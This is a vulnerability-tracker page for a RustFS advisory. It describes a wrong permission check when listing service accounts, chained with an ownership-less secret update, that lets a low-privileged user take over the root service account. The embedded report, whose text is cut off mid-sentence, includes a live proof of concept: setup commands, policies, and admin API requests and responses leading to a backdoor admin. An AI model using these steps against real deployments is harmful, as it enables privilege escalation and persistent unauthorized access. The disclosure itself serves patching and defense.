GHSA-mm2q-qcmx-gw4w: RustFS: ListServiceAccount authorizes against wrong admin action, enabling cross-user enumeration and root service account takeover
Noroxi assessment
Priority: Monitor (action score 0/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. A low-privileged account is enough. No user action is required. No special conditions are required; it is repeatable.
- Fixed version: rustfs (crates.io) 1.0.0-alpha.98.
Low priority for now. Upgrade to rustfs (crates.io) 1.0.0-alpha.98 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
## Summary `ListServiceAccount` (`GET /rustfs/admin/v3/list-service-accounts?user=<other>`) authorizes cross-user requests against `UpdateServiceAccountAdminAction` instead of `ListServiceAccountsAdminAction` at `rustfs/src/admin/handlers/service_account.rs:936`. The handler accepts the **wrong** admin action and rejects the **correct** one: - A user granted only `admin:UpdateServiceAccount` enumerates every service account in the cluster, including the root user's (HTTP 200, full metadata). - A user granted only `admin:ListServiceAccounts` — the permission name every IAM document treats as "list service accounts" — receives HTTP 403 AccessDenied on the same request. Because service account access keys act as the identifier a `UpdateServiceAccount` holder needs to rotate a secret, and the `UpdateServiceAccount` handler at `rustfs/src/admin/handlers/service_account.rs:489` performs no ownership check on the target access key, leaking those access keys lets a delegated "service account updater" role overwrite `root-sa-1`'s secret, authenticate as the root user's service account, and create a persistent backdoor admin with `admin:*` + `s3:*`. Proven live end-to-end against `rustfs/rustfs:latest` (1.0.0-alpha.91, revision `d4ea14c2`) — the same revision is byte-identical on current `origin/main`. ## Vulnerability Details - **Package:** `rustfs` (binary crate `rustfs`) - **Affected versions:** From `0a2411f` (the initial `service_account.rs` check-in on 2026-03-15) through current HEAD `90e584a`. The vulnerable line has never been touched. - **Fixed versions:** None - **Vulnerable file:** `rustfs/src/admin/handlers/service_account.rs` - **Vulnerable route:** `GET /rustfs/admin/v3/list-service-accounts?user=<other_user>` (`ListServiceAccount::call`) - **CWE:** CWE-863 (Incorrect Authorization), chained with CWE-620 (Unverified Password Change) to reach CWE-269 (Improper Privilege Management) - **CVSS (demonstrated chain to full admin):** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **10.0 Critical**. If scored as Scope:Unchanged the vector is `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` = **8.8 High**. The list bug alone (no chain) is `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` = **6.5 Medium** and is what a maintainer would rate it if the Update ownership gap is out of scope for this report. ## Two Distinct Vulnerabilities This report documents two bugs that chain to full RustFS administrative takeover. Each is independently fixable and independently a security issue: **Vulnerability A — Wrong action constant in ListServiceAccount (CWE-863)** `ListServiceAccount::call` at line 936 checks `UpdateServiceAccountAdminAction` instead of `ListServiceAccountsAdminAction`. This is a copy-paste typo: the three sibling list handlers (lines 658, 799, 1095) all use the correct constant. The result is a permission inversion — the correct permission (`admin:ListServiceAccounts`) is rejected, and the wrong one (`admin:UpdateServiceAccount`) is accepted. Independently, this is a Medium-severity cross-user information disclosure. **Vulnerability B — Missing ownership check in UpdateServiceAccount (CWE-620)** `UpdateServiceAccount::call` at lines 489-614 authorizes on possession of `admin:UpdateServiceAccount` but never verifies the target `?accessKey=` belongs to the caller or the caller's parent. Lines 522-525 contain a commented-out `get_service_account` call that would have loaded the target for such a check. This means any holder of `admin:UpdateServiceAccount` can overwrite any service account's secret in the cluster, regardless of ownership. **Chain (A + B) — Full RustFS administrative takeover** Vulnerability A leaks every service account's access key (including the root administrator's). Vulnerability B allows overwriting any SA's secret given its access key. Together: a user with a single permission (`admin:UpdateServiceAccount`) enumerates the root user's SA access key via the wrong-action list bug, overwrites its secret via the ownership-free update handler, authenticates as the root user's service account, and creates a persistent backdoor admin with full RustFS administrative control. **Authorization mismatch at a glance:** Exact policies attached to each test identity (retrieved from running server via `GET /admin/v3/info-canned-policy`): legit-list-pol -> {"Action": ["admin:ListServiceAccounts"], "Resource": ["arn:aws:s3:::*"]} list-sa-probe-pol -> {"Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::*"]} list-sa-restricted -> {"Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::probe-scope/*"]} (zero-priv-user has no attached policy) | Identity | Attached policy | `GET /list-service-accounts?user=rustfsadmin` | Expected | |---|---|---|---| | `probe-user` | `list-sa-probe-pol` (`admin:UpdateServiceAccount`) | **200** (full SA metadata) | 403 | | `legit-list-user` | `legit-list-pol` (`admin:ListServiceAccounts`) | **403** AccessDenied | 200 | | `restricted-update-user` | `list-sa-restricted` (`admin:UpdateServiceAccount` on `probe-scope/*`) | **200** | 403 | | `zero-priv-user` | (none) | **403** | 403 | | (unauthenticated) | n/a | **403** Signature required | 403 | ### Why the correct permission gets 403 The handler at line 936 calls `is_allowed` with the action `AdminAction::UpdateServiceAccountAdminAction`. The IAM engine performs an exact string match between the action in the `is_allowed` call (`admin:UpdateServiceAccount`) and the action in the caller's attached policy: - `legit-list-user` has policy action `admin:ListServiceAccounts`. This does **not** match `admin:UpdateServiceAccount`. `is_allowed` returns false. The handler returns 403. The user who holds the *correct* permission for listing service accounts is denied. - `probe-user` has policy action `admin:UpdateServiceAccount`. This **matches** `admin:UpdateServiceAccount`. `is_allowed` returns true. The handler returns 200. The user who holds a *different, unrelated* permission is granted access to a list endpoint. - `restricted-update-user` has the same action string but resource-scoped to `arn:aws:s3:::probe-scope/*`. Admin-action statements skip resource matching (`crates/policy/src/policy/statement.rs:132`: `&& !self.is_admin() && !self.is_sts()`), so the resource restriction is ignored and `is_allowed` still returns true. There is no wildcard, superset, or inheritance relationship between these two action strings. They are separate enum variants (`crates/policy/src/policy/action.rs:459-462`) with distinct `strum(serialize)` values. The IAM engine is working correctly; the handler passes the wrong action to it. Raw request/response for `legit-list-user` (the counterintuitive 403): GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin HTTP/1.1 Authorization: AWS4-HMAC-SHA256 Credential=legit-list-user/... HTTP/1.1 403 <?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>access denied</Message></Error> **Why this is not "working as intended":** - `admin:UpdateServiceAccount` and `admin:ListServiceAccounts` are distinct enum variants with distinct string representations. The codebase treats them as orthogonal permissions. - Three sibling list handlers in the same file (lines 658, 799, 1095) all check `ListServiceAccountsAdminAction`. Only line 936 deviates. - CVE-2026-22042 / GHSA-vcwh-pff9-64cc is the maintainers' own precedent: `ImportIam` checking `ExportIAMAction` was rated Medium and fixed. The same class of bug applies here. - A zero-privilege user (no admin policies at all) cannot exploit either vulnerability — both handlers correctly enforce their respective `is_allowed` checks. The bug is that the list handler enforces the *wrong* action constant, not that it skips enforcement entirely. ## Root Cause — Vulnerability A (Wrong Action Constant) `ListServiceAccount::call` is registered for `GET /rustfs/admin/v3/list-service-accounts` at `rustfs/src/admin/handlers/service_account.rs:137-141`. The cross-user branch (entered when `?user=<x>` does not match the caller) checks the wrong admin action: // rustfs/src/admin/handlers/service_account.rs:931-953 (HEAD 90e584a, identical at d4ea14c2) let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) { if !iam_store .is_allowed(&Args { account: &cred.access_key, groups: &cred.groups, action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), // WRONG bucket: "", conditions: &get_condition_values(...), is_owner: owner, object: "", claims: cred.claims.as_ref().unwrap_or(&HashMap::new()), deny_only: false, }) .await { return Err(s3_error!(AccessDenied, "access denied")); } query.user.unwrap_or_default() } else if cred.parent_user.is_empty() { cred.access_key } else { cred.parent_user }; The action enum definitions are cleanly distinct at `crates/policy/src/policy/action.rs:459-464`: #[strum(serialize = "admin:CreateServiceAccount")] CreateServiceAccountAdminAction, #[strum(serialize = "admin:UpdateServiceAccount")] UpdateServiceAccountAdminAction, #[strum(serialize = "admin:RemoveServiceAccount")] RemoveServiceAccountAdminAction, #[strum(serialize = "admin:ListServiceAccounts")] ListServiceAccountsAdminAction, Every *other* list handler in the same file authorizes on the correct constant: rustfs/src/admin/handlers/service_account.rs:658 InfoServiceAccount::call -> ListServiceAccountsAdminAction rustfs/src/admin/handlers/service_account.rs:799 InfoAccessKey::call -> ListServiceAccountsAdminAction rustfs/src/admin/handlers/service_account.rs:1095 ListAccessKeysBulk::call -> ListServiceAccountsAdminAction Only `ListServiceAccount::call` at line 936 deviates. This is a typo/wiring error, not a design choice. `git blame` shows the line has been wrong since commit `0a2411f` (heihutu, 2026-03-15), the initial check-in of `service_account.rs`. ## Root Cause — Vulnerability B (Missing Ownership Check in Update) Service account access keys are the identifier the `UpdateServiceAccount` handler accepts via the `?accessKey=` query string. Inspecting `UpdateServiceAccount::call` at `rustfs/src/admin/handlers/service_account.rs:489-614`: let access_key = query.access_key; // line 509 ... if !iam_store.is_allowed(&Args { account: &cred.access_key, action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), ... }).await { return Err(s3_error!(AccessDenied, "access denied")); } // line 538-559 ... let updated_at = iam_store.update_service_account(&access_key, opts).await // line 579 .map_err(...)?; The handler authorizes on *possession of* `admin:UpdateServiceAccount` and **never checks** that the `?accessKey=` query parameter resolves to a service account owned by the caller. Notably, lines 522-525 contain a commented-out `get_service_account` call that would have loaded the target SA for an ownership check — it was present in the initial commit and has been commented out since: // let svc_account = iam_store.get_service_account(&access_key).await.map_err(|e| { // debug!("get service account failed, e: {:?}", e); // s3_error!(InternalError, "get service account failed") // })?; The inner `IamSys::update_service_account` at `crates/iam/src/sys.rs:495-501` delegates to `IamCache::update_service_account` at `crates/iam/src/manager.rs:663` which loads the credentials by access-key name, verifies it is a service account, and overwrites `secret_key` — again, no ownership check: // crates/iam/src/manager.rs:663 pub async fn update_service_account(&self, name: &str, opts: UpdateServiceAccountOpts) -> Result<OffsetDateTime> { let Some(ui) = self.cache.users.load().get(name).cloned() else { return Err(Error::NoSuchServiceAccount(name.to_string())); }; ... let mut cr = ui.credentials.clone(); let current_secret_key = cr.secret_key.clone(); if let Some(secret) = opts.secret_key { if !is_secret_key_valid(&secret) { return Err(Error::InvalidSecretKeyLength); } cr.secret_key = secret; // <-- attacker-chosen } ... So a holder of `admin:UpdateServiceAccount` who knows *any* service account's access key can overwrite its secret. The list bug at line 936 hands them every access key in the cluster, including `root-sa-1`. The two bugs together form a clean chain: 1. Attacker has a single admin permission: `admin:UpdateServiceAccount`. 2. Attacker calls `GET /v3/list-service-accounts?user=rustfsadmin` — vulnerable handler grants access. 3. Attacker reads `accessKey=root-sa-1` out of the response. 4. Attacker calls `POST /v3/update-service-account?accessKey=root-sa-1` with body `{"newSecretKey":"..."}` — ownership-less handler overwrites. 5. Attacker authenticates as `root-sa-1` with the chosen secret and inherits the root user's full `admin:*` + `s3:*` authority. ## Environment and Version Alignment - Image: `rustfs/rustfs:latest`, digest `sha256:74f8eaad96124c7e019bedfb892b41a9429c495f57b883182427c5e9e9d53c6a` - Labels: `org.opencontainers.image.version=1.0.0-alpha.91`, `org.opencontainers.image.revision=d4ea14c2ba99602314511d5862005f7b871ece37`, `org.opencontainers.image.build-type=prerelease` - Source verification: $ git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs | sed -n '931,940p' let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) { if !iam_store .is_allowed(&Args { account: &cred.access_key, groups: &cred.groups, action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), bucket: "", ... $ git show origin/main:rustfs/src/admin/handlers/service_account.rs | sed -n '931,940p' let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) { if !iam_store .is_allowed(&Args { account: &cred.access_key, groups: &cred.groups, action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), bucket: "", ... Byte-identical. The shipped image contains the same vulnerable handler as the tip of main. ## Proof of Concept (executed live) ### Environment docker run -d --name rustfs-poc --memory=2g -p 9100:9000 \ -e RUSTFS_ACCESS_KEY=rustfsadmin -e RUSTFS_SECRET_KEY=rustfsadmin \ rustfs/rustfs:latest Root credentials: `rustfsadmin:rustfsadmin`. ### Step 1 — Provision the probe identity The probe policy grants exactly **one** admin action, scoped to the broadest resource. Nothing else. { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::*"] } ] } Creation as root: PUT /rustfs/admin/v3/add-canned-policy?name=list-sa-probe-pol -> 200 PUT /rustfs/admin/v3/add-user?accessKey=probe-user -> 200 (secret: probe-secret1234) PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=probe-user&isGroup=false&policyName=list-sa-probe-pol -> 200 PUT /rustfs/admin/v3/add-user?accessKey=victim-user -> 200 (no policy) PUT /rustfs/admin/v3/add-service-accounts -> 200 (creates victim-sa-1 under victim-user) PUT /rustfs/admin/v3/add-service-accounts -> 200 (creates root-sa-1 under rustfsadmin) ### Step 2 — Baseline: probe-user is actually constrained Confirming `probe-user` is denied on unrelated admin endpoints so the "200 on list-service-accounts" is not the side effect of some ambient privilege: GET /rustfs/admin/v3/list-users as probe-user -> 403 AccessDenied GET /rustfs/admin/v3/info as probe-user -> 403 AccessDenied GET /rustfs/admin/v3/list-canned-policies as probe-user -> 403 AccessDenied GET /rustfs/admin/v3/kms/status as probe-user -> 403 AccessDenied PUT /rustfs/admin/v3/add-canned-policy?name=... as probe-user -> 403 AccessDenied GET /rustfs/admin/v3/list-service-accounts as probe-user -> 200 {"accounts":[]} # self-scope OK The self-scope list (no `user=` query) returns an empty array — the caller's own service account inventory, which is correctly allowed. This isolates the bug to the cross-user branch only. ### Step 3 — Primary exploit: enumerate other users' service accounts GET /rustfs/admin/v3/list-service-accounts?user=victim-user as probe-user -> 200 {"accounts":[{"parentUser":"victim-user","accountStatus":"on","impliedPolicy":true,"accessKey":"victim-sa-1","name":"sa-victim-user-victim-sa-1","description":"probe target SA for user victim-user","expiration":null}]} GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin as probe-user -> 200 {"accounts":[{"parentUser":"rustfsadmin","accountStatus":"on","impliedPolicy":true,"accessKey":"root-sa-1","name":"sa-rustfsadmin-root-sa-1","description":"probe target SA for user rustfsadmin","expiration":null}]} Exposed per entry: `parentUser`, `accountStatus`, `impliedPolicy`, **`accessKey`**, `name`, `description`, `expiration`. The response does not leak secret keys or session tokens (those are cleared server-side), but it does leak the `accessKey` — the identifier that the `UpdateServiceAccount` endpoint consumes via `?accessKey=`. ### Step 4 — Differential: the correct permission gets denied Created `legit-list-user` with a policy granting only `admin:ListServiceAccounts`: { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["admin:ListServiceAccounts"], "Resource": ["arn:aws:s3:::*"] } ] } Running the same request: GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin as legit-list-user -> 403 <?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>access denied</Message></Error> This is the damning evidence of inversion. The handler refuses the **correct** permission (`admin:ListServiceAccounts`) and accepts the **wrong** one (`admin:UpdateServiceAccount`). There is no superset/subset relationship in the action enum; these are two distinct constants. A deployment that grants its operators `admin:ListServiceAccounts` to view the service account inventory — the intuitive and documented approach — will see every cross-user list request return 403 until this bug is fixed. The resource-scoped variant gave the same result as the broad variant: # Policy: admin:UpdateServiceAccount on arn:aws:s3:::probe-scope/* (unrelated to any SA) GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin as restricted-update-user -> 200 (same body as probe-user) Resource restrictions on admin actions are skipped in `crates/policy/src/policy/statement.rs:132` (`&& !self.is_admin() && !self.is_sts()`), so the bug is equally reachable by an operator whose `admin:UpdateServiceAccount` grant was scoped to
- Published
- May 5, 2026
- Updated
- May 5, 2026
- EPSS
- —
- CWE
- CWE-863
Report tools
Action score
0
Low priority for now.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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| Vendor | Product | CPE |
|---|---|---|
| crates.io | rustfs | pkg:cargo/rustfs |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| crates.io | rustfs | before 1.0.0-alpha.98 | 1.0.0-alpha.98 |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| crates.io:rustfs | 1.0.0-alpha.98 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- A low-privileged account is enough.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- Integrity
- Availability
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
Weakness class (CWE)
CWE-863 · Incorrect AuthorizationCVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
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Change log (2)
- Fix✗ → ✓
- CVSS8 → —
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References
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Vendor advisories and official records. Exploit/PoC links are deliberately left out.